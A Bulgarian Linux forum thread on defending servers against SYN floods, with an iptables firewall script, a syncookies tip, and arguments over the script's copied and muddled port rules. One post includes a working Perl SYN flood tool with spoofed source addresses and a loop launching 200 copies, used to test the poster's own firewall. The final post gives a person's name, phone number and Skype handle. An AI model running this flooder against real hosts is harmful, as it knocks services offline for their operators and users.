Автор Тема: SYN атака - спиране  (Прочетена 10534 пъти)

sevdalincho

  • Напреднали
  • *****
  • Публикации: 29
  • Distribution: OpenSUSE 11.2
  • Window Manager: KDE 4.3.1
    • Профил
Re: SYN атака - спиране
« Отговор #15 -: Nov 20, 2009, 19:42 »
съмняваме много ;]

Код
GeSHi (Bash):
  1. #!/bin/bash
  2. IPT="/usr/sbin/iptables"
  3.  
  4. echo "Starting IPv4 Wall..."
  5. $IPT -F
  6. $IPT -X
  7. $IPT -t nat -F
  8. $IPT -t nat -X
  9. $IPT -t mangle -F
  10. $IPT -t mangle -X
  11. modprobe ip_conntrack
  12.  
  13. BADIPS=$(grep -v -E "^#|^$" /root/scripts/blocked.fw)
  14. PUB_IF="eth0"
  15.  
  16. #unlimited
  17. $IPT -A INPUT -i lo -j ACCEPT
  18. $IPT -A OUTPUT -o lo -j ACCEPT
  19.  
  20. # DROP all incomming traffic
  21. $IPT -P INPUT DROP
  22. $IPT -P OUTPUT DROP
  23. $IPT -P FORWARD DROP
  24.  
  25. # block all bad ips
  26. for ip in $BADIPS
  27. do
  28.    $IPT -A INPUT -s $ip -j DROP
  29.    $IPT -A OUTPUT -d $ip -j DROP
  30. done
  31.  
  32. # sync
  33. $IPT -A INPUT -i ${PUB_IF} -p tcp ! --syn -m state --state NEW  -m limit --limit 5/m --limit-burst 7 -j LOG --log-level 4 --log-prefix "Drop Syn"
  34.  
  35. $IPT -A INPUT -i ${PUB_IF} -p tcp ! --syn -m state --state NEW -j DROP
  36.  
  37. # Fragments
  38. $IPT -A INPUT -i ${PUB_IF} -f  -m limit --limit 5/m --limit-burst 7 -j LOG --log-level 4 --log-prefix "Fragments Packets"
  39. $IPT -A INPUT -i ${PUB_IF} -f -j DROP
  40.  
  41. # block bad stuff
  42. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
  43. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags ALL ALL -j DROP
  44.  
  45. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags ALL NONE -m limit --limit 5/m --limit-burst 7 -j LOG --log-level 4 --log-prefix "NULL Packets"
  46. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags ALL NONE -j DROP # NULL packets
  47.  
  48. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags SYN,RST SYN,RST -j DROP
  49.  
  50. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags SYN,FIN SYN,FIN -m limit --limit 5/m --limit-burst 7 -j LOG --log-level 4 --log-prefix "XMAS Packets"
  51. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP #XMAS
  52.  
  53. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags FIN,ACK FIN -m limit --limit 5/m --limit-burst 7 -j LOG --log-level 4 --log-prefix "Fin Packets Scan"
  54. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags FIN,ACK FIN -j DROP # FIN packet scans
  55.  
  56. $IPT  -A INPUT -i ${PUB_IF} -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP
  57.  
  58. # Allow full outgoing connection but no incomming stuff
  59. $IPT -A INPUT -i eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT
  60. $IPT -A OUTPUT -o eth0 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
  61.  
  62. # allow ssh only
  63. $IPT -A INPUT -p tcp --destination-port 22 -j ACCEPT
  64. $IPT -A OUTPUT -p tcp --sport 22 -j ACCEPT
  65.  
  66. # allow 80 only
  67. $IPT -A INPUT -p tcp --destination-port 80 -j ACCEPT
  68. $IPT -A OUTPUT -p tcp --sport 80 -j ACCEPT
  69.  
  70.  
  71.  
  72. # allow port 2112 only
  73. $IPT -A INPUT -p tcp --destination-port 2112 -j ACCEPT
  74. $IPT -A OUTPUT -p tcp --sport 2112 -j ACCEPT
  75.  
  76. # allow port 6667 only
  77. $IPT -A INPUT -p tcp --destination-port 9000 -j ACCEPT
  78. $IPT -A OUTPUT -p tcp --sport 9000 -j ACCEPT
  79.  
  80. # allow port 6665  only
  81. $IPT -A INPUT -p tcp --destination-port 6665 -j ACCEPT
  82. $IPT -A OUTPUT -p tcp --sport 6665  -j ACCEPT
  83.  
  84. # allow 7000 only
  85. $IPT -A INPUT -p tcp --destination-port 6667 -j ACCEPT
  86. $IPT -A OUTPUT -p tcp --sport 6667  -j ACCEPT
  87.  
  88. # allow 9000 only
  89. $IPT -A INPUT -p tcp --destination-port 7000 -j ACCEPT
  90. $IPT -A OUTPUT -p tcp --sport 7000  -j ACCEPT
  91.  
  92. # allow domain  only
  93. $IPT -A INPUT -p tcp --destination-port 53 -j ACCEPT
  94. $IPT -A OUTPUT -p tcp --sport 53  -j ACCEPT
  95.  
  96. # allow ssh  only
  97. $IPT -A INPUT -p tcp --destination-port 22 -j ACCEPT
  98. $IPT -A OUTPUT -p tcp --sport 2  -j ACCEPT
  99.  
  100.  
  101. # allow incoming ICMP ping pong stuff
  102. $IPT -A INPUT -p icmp --icmp-type 8 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
  103. $IPT -A OUTPUT -p icmp --icmp-type 0 -m state --state ESTABLISHED,RELATED -j ACCEPT
  104.  
  105. # No smb/windows sharing packets - too much logging
  106. $IPT -A INPUT -p tcp -i eth0 --dport 137:139 -j REJECT
  107. $IPT -A INPUT -p udp -i eth0 --dport 137:139 -j REJECT
  108.  
  109. # Log everything else
  110. # *** Required for psad ****
  111. $IPT -A INPUT -j LOG
  112. $IPT -A FORWARD -j LOG
  113. $IPT -A INPUT -j DROP
  114.  
  115. # Start ipv6 firewall
  116. # echo "Starting IPv6 Wall..."
  117. /root/scripts/start6.fw
  118.  
  119. exit 0
  120.  

« Последна редакция: Nov 20, 2009, 21:03 от VladSun »
Активен

няма да има подпис

VladSun

  • Напреднали
  • *****
  • Публикации: 2166
    • Профил
Re: SYN атака - спиране
« Отговор #16 -: Nov 20, 2009, 21:06 »
Какво точно те съмнява, Севдалинчо ???
Активен

KISS Principle ( Keep-It-Short-and-Simple )
http://openfmi.net/projects/flattc/
Има 10 вида хора на този свят - разбиращи двоичния код и тези, които не го разбират :P

ntrance

  • Напреднали
  • *****
  • Публикации: 696
    • Профил
Re: SYN атака - спиране
« Отговор #17 -: Nov 21, 2009, 00:34 »
Еи , като публикувате и решите да промените нещо като ваше поне го правите като хората ...
Пример
#
# allow 7000 only
#
$IPT -A INPUT -p tcp --destination-port 6667 -j ACCEPT
#
$IPT -A OUTPUT -p tcp --sport 6667  -j ACCEPT
#
 
#
# allow 9000 only
#
$IPT -A INPUT -p tcp --destination-port 7000 -j ACCEPT
#
$IPT -A OUTPUT -p tcp --sport 7000  -j ACCEPT...

...
Активен

sevdalincho

  • Напреднали
  • *****
  • Публикации: 29
  • Distribution: OpenSUSE 11.2
  • Window Manager: KDE 4.3.1
    • Профил
Re: SYN атака - спиране
« Отговор #18 -: Nov 21, 2009, 01:08 »
е не е болка за умиране ще си го едитна ся  ;D
Активен

няма да има подпис

ntrance

  • Напреднали
  • *****
  • Публикации: 696
    • Профил
Re: SYN атака - спиране
« Отговор #19 -: Nov 21, 2009, 01:49 »
е не е болка за умиране ще си го едитна ся  ;D

Firewall не е твой преди година го ползвах , и го бях взел от един форум , и го пасте на един пич. А сега ти го вземаш поне го остави оргиналния както аз направих , все пак си има автор на него. Не е коректно към човека който се е мъчил да го прави
Активен

dhelix

  • Напреднали
  • *****
  • Публикации: 66
  • Distribution: Debian,FreeBSD
  • Window Manager: Gnome
    • Профил
Re: SYN атака - спиране
« Отговор #20 -: Nov 21, 2009, 11:46 »
@станиславчо  така като гледам iptables ще ти лимитира syn пакетите - ВСИЧКИ ,което най-малкото ще доведе до деградиране на производителността.
syn-proxy е нещото,което би се борило доста по добре с този тип атаки -виж PF  в *BSD.Обаче,пак не е вездесъщо,но върши доста по добра работа.
Активен

sevdalincho

  • Напреднали
  • *****
  • Публикации: 29
  • Distribution: OpenSUSE 11.2
  • Window Manager: KDE 4.3.1
    • Профил
Re: SYN атака - спиране
« Отговор #21 -: Nov 21, 2009, 18:44 »
първо не съм казал никъде че аз съм го писал
второ един авер ми секурна машината един път и от тогава си го ползвам скрипта
а е ако това те успокои iptables-a го имам от 2 години насам
и трето не ме интересува къде кой ти бил постнал скрипта
...изтрито...  ;D

Редактирано, съгласно т. 6 от http://www.linux-bg.org/forum/index.php?topic=6115.0
bop_bop_mara
« Последна редакция: Nov 21, 2009, 22:31 от bop_bop_mara »
Активен

няма да има подпис

ntrance

  • Напреднали
  • *****
  • Публикации: 696
    • Профил
Re: SYN атака - спиране
« Отговор #22 -: Nov 21, 2009, 19:13 »
(rofl). И скрипта не е никъв secure , ако си мислиш така  не прави кой знае какво. Да не кажа почти нищо. А за това кадето казваш , може и 5 години да ползвш iptables ,  но това не значи че знаеш имаш дори най малката напредстава как работи .Iptables  си е направо отделнан наука в линукса.
Както казах следващия път когато решиш да вземеш нещо готово направено  остави го реално  както си е , а  не да го променяш и той по пограшен начин. Тук хората  пак ще ти бъдат благодарни че си намерил нещо по добре от тяхното решение.
Активен

sevdalincho

  • Напреднали
  • *****
  • Публикации: 29
  • Distribution: OpenSUSE 11.2
  • Window Manager: KDE 4.3.1
    • Профил
Re: SYN атака - спиране
« Отговор #23 -: Nov 21, 2009, 20:23 »
..изтрито... ще си трая  ;D

Редактирано съгласно т. 6 от http://www.linux-bg.org/forum/index.php?topic=6115.0
bop_bop_mara
« Последна редакция: Nov 21, 2009, 22:32 от bop_bop_mara »
Активен

няма да има подпис

ROKO__

  • Напреднали
  • *****
  • Публикации: 1531
  • Distribution: Calculate Linux Workstation amd64
  • Window Manager: GNOME 2.30
  • AMD Athlon64 4000+ Dual Core 2100 MHz 2MB L2 cache
    • Профил
Re: SYN атака - спиране
« Отговор #24 -: Apr 07, 2010, 14:39 »
По елементарно е във /etc/sysctl.conf

# Enable TCP SYN Cookie Protection
net.ipv4.tcp_syncookies = 1

запазване и sysctl -p

това е
Активен

Не е важно да си добър, важно е да си най добрия!!!

http://www.calculate-linux.ru/
http://www.agilialinux.ru/

p3tzata_

  • Напреднали
  • *****
  • Публикации: 210
  • Distribution: Fedora
  • Window Manager: KDE
    • Профил
Re: SYN атака - спиране
« Отговор #25 -: Apr 13, 2010, 18:06 »
Колеги и аз да се включа в тази интересна тема.
Ако може да ми дадете малко акъл за ipt_recent аз също изчето темата (съвета) на VladSun
Не мога да сетна параметъра :
Код:
modprobe ipt_recentt ip_list_tot=500
Симулирах една syn ataka и когато атакуващите са под 100 -на се държи добре .т.е. отрязва достъпа  на лошите, но котато са повече от 100 почти не сработва
Ето как пробвах защитната си стена:
Код
GeSHi (Bash):
  1. #!/bin/bash
  2. for (( c=1; c<=200; c++ ))
  3. do
  4. perl synflood.pl 192.168.0.$c 192.168.0.224 80 &
  5. done
  6.  

Съдържанието на synfloog.pl
Код
GeSHi (Bash):
  1. #!/usr/bin/perl
  2. # synflood.pl - Simple SYN Flooder
  3. # Author: iphelix
  4. #
  5. # Requires perl, Net::RawIP module, and root privileges
  6.  
  7. use Net::RawIP;
  8.  
  9. if($#ARGV == 2) {
  10.   ($src,$dst,$port) = @ARGV;
  11.   $a = new Net::RawIP;
  12.   while(1) {
  13.       $src_port = rand(65534)+1;
  14.      $a->set({ip => {saddr => $src,daddr => $dst},tcp => {source => $src_port,dest => $port, syn => 1}});
  15.      $a->send;  
  16.   }
  17. } else {
  18.   print "./synflooder source_ip destination_ip destination_port\n";
  19. }
  20.  

Ако може да датете някакви насоки ...
Код
GeSHi (Bash):
  1. uname -a
  2. Linux router3 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686 athlon i386 GNU/Linux
  3.  




Активен

Никое ДОБРО не води до ДОБРО и никое ЗЛО не води до ЗЛО.

dejuren

  • Напреднали
  • *****
  • Публикации: 1025
  • Distribution: Ubuntu, RedHat
  • Window Manager: lxde KDE4
    • Профил
Re: SYN атака - спиране
« Отговор #26 -: Apr 13, 2010, 21:04 »
Ето едни насоки: http://lists.netfilter.org/pipermail/netfilter/2002-November/039855.html
Не е много... както се каза защитата не е 100%. Става за отрязване на SYN Scan, но не ако атаката е върху специфичен порт, тъй като той трябва да се отвори. Още малко защита може с IPLimit и PSD, но панацея няма. За справка http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_9-4/syn_flooding_attacks.html
Активен

http://webchat.freenode.net/?channels=ubuntu-bg
The quieter you become, the more you are able to hear.
Две седмици цъкане с мишката спестяват два часа четене на документацията.

S1mbol

  • Новаци
  • *
  • Публикации: 1
    • Профил
Re: SYN атака - спиране
« Отговор #27 -: Jun 19, 2011, 18:01 »
Здравейте, нуждая се от помощ, имам доста сървъри за различни неща. Проблема ми идва от там, че имах написана защита от различен вид атаки, но така си мислех до преди 2-3 дена. Атакуваха ме доста зверски и всичко пада за не повече от 1-2 мин. Ако наистина някой може да помогне по въпроса  ще му платя. Нуждая от помощ в рамките на часове защото губя клиенти. Благодаря предвърително за съдествието. Може да ме намерите на skype: transporter4 или на gsm: 0897 481503 Петър Димов
Активен